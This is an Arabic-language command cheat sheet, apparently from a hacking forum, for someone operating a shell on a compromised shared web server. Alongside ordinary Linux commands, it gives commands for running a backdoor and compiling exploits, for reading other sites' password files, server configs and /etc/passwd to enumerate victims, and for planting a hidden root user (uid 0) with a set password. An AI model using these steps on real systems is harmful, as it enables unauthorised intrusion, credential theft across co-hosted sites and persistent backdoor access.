أوامر الضغط وفك الضغط | ||
مثال على الأمر للتوضيح | الأمر كتابتاً | وظيفة الأمر |
qzip failname | qzip | zip أمر الضغط بامتداد |
unzip failname | unzip | zip امر فك الضغط بامتداد |
tar -zcf zz.tar daily | tar -zcf | tar أمر الضغط بامتداد |
tar -zxf zz.tar | tar -zxf | tar أمر فك الضغط بامتداد |
tar -czvf file name.tar.gz file name.sql | tar -czvf | gz أمر ضغط الملف بامتدا |
gzip -d file.gz | gzip -d | gz فك الضغط بامتداد |
tar -czvf file name.tar.gz file name.sql | tar -czvf | كيفية ضغط قاعدة البيانات |
tar -zxvf file name.tar.gz | tar -zxvf | كيفية فك قواعد البيانات |
tar -czvf /home/user/public_html/n3.tar.gz n3 | tar -czvf |
tar.gz امر ضغط المجلدات بامتداد |
أوامر الداخلية | |||
مثال على الأمر للتوضيح | الأمر كتابتاً | وظيفة الأمر | |
ls | ls | استعراض الملفات | |
ls | ls -la | استعراض الملفات والمجلدات المخفية والتصاريح | |
pwd | pwd | تحديد المكان علىالسيرفر | |
ls;pwd | ; | اداة الربط بين الأوامر | |
wget http://xxxx.com/xxx.zip |
wget | أمرالسحب | |
curl -o ./xxx.zip http://xxxx.com/xxx.zip | curl -o ./ | امر السحب الآخر | |
history | history | أمر معرفة جميع الأوامر التي نفذت بالشل | |
mkdir shuooon | mkdir | انشاء مجلد جديد | |
rm failname | rm | أمر الحذف | |
rm -r dir | rm -r | حذف مجلد بجميع الملفات | |
edit failname | edit | أمر التعديل | |
who | who | امر التصلين على السيرفر | |
cd | cd | امر دخول المجلدات | |
cd .. | cd .. | امر العودة للخلف | |
mv | mv | امر اعادة التسمية | |
find | find | امر البحث | |
./ | ./ | أمر تشغيل الباك دور | |
uname -a | uname -a | أمر معرفة اصدار السيرفر | |
ls ftp.zip* | * | امر يرمز للكل | |
man ls | man | امر المساعدة | |
drwxrwxrwx | chmod 777 dd | chmod | أمر إعطاء التصريح |
touch shuooon.php | touch | أمر انشاء ملف فارغ | |
gcc xxx.c -o xxx |
gcc |
ترجمة الكومبايل او الاكسبلويت |
|
usr/bin/perl يبدأ الكود بهذه الكلة | لا يحتاج ترجمة |
ملفات البيرل تبدأ بــ |
|
include يبدأ الكود بهذه الكلة | ترجمة وتشغيل فقط | ملفات السي تبدأ بــ | |
أوامر الخارجية | |||
مثال على الأمر للتوضيح | الأمر كتابتاً | وظيفة الأمر | |
cat /home/*/public_html/_vti_pvt/access.cnf | cat | عرض جميع المواقع التي على السيرفر | |
cat /home/*/public_html/_vti_pvt/service.pwd | cat | عرض جميع الباسووردات على السيرفر | |
cat /usr/local/apache/conf/httpd.conf | cat | لمعرفة عرض مصدر السيرفر | |
find / -name httpd.conf | find | عرض المصدر | |
more /etc/userdomains | more | CAT امر مشابة للأمر | |
pico /home/burst/public_html/index.html | pico | تحرير النصوص | |
vi /home/burst/public_html/index.html | vi | امر تحرير به الكثير من المزايا لكنه اصعب من السابق | |
valiases المهم نحدد | ls -la /etc/valiases | ls | معرفة المواقع اللي على السيرفر مع اليوزر |
ls /var/named | ls | معرفة جميع المواقع اللي على السيرفر | |
valiases المهم نحدد | ls /usr/local/psa/home/vhosts/ | ls | معرفة جميع المواقع على السيرفر |
perl xxxx.pl | perl | تشغيل البيرل | |
cat /etc/passwd | ابحث عن bash | cat | امر استخراج حسابات الشل |
اكتب الامر التالي
لاضافه يوزر بصلاحيات الروت ومضاف الى مجموعه الروت :
/usr/sbin/useradd -o -u 0 -g 0 alm7ben -p adminR00t
تفاصيل الامر
طبعا اليوزراللي هو روت:alm7ben
والباسورد : adminR00t
-o : لاستخدام تغيرات مع الامر
-u : لاضافته الى مجموعه اليوزر ذات رقم 0 ( الي هي الروت )
-g : القروب او المجموعه ذات رقم 0 يعني مجموعه الروت ايضا .
----------------
ونجي بامر ثاني نفس الامر الاول .
ايضا تقدر عن طريق هذا الامر:
/usr/sbin/useradd -o -u 0 alm7ben
بعدين تدخل لهذا المستخدم باسورد يعني تضيف باسوورد جديد للمستخدم واذا
تبي
تغير باسوورد يوزر كذا بعد بالطريقه التاليه:
passwd alm7ben
بعدين بيطلع لك الرساله التاليه:
New UNIX password:
تكتب باسوورد جديد ولازم يكوون صعب ومعقد (:
بعدين تطلع لك رساله زي كذا يعني ادخلها مره ثانيه:
Retype new UNIX password:
يعني اعد ادخال كلمه المرور
اعد كتابتها ,, بيعطيك الرساله التاليه :
Changing password for user alm7ben.
passwd: all authentication tokens updated successfully.
ومبرووك عليك صلاحيات مستخدم روت
جديده (:
وفي الختام
لا تنسونا من صالح الدعاء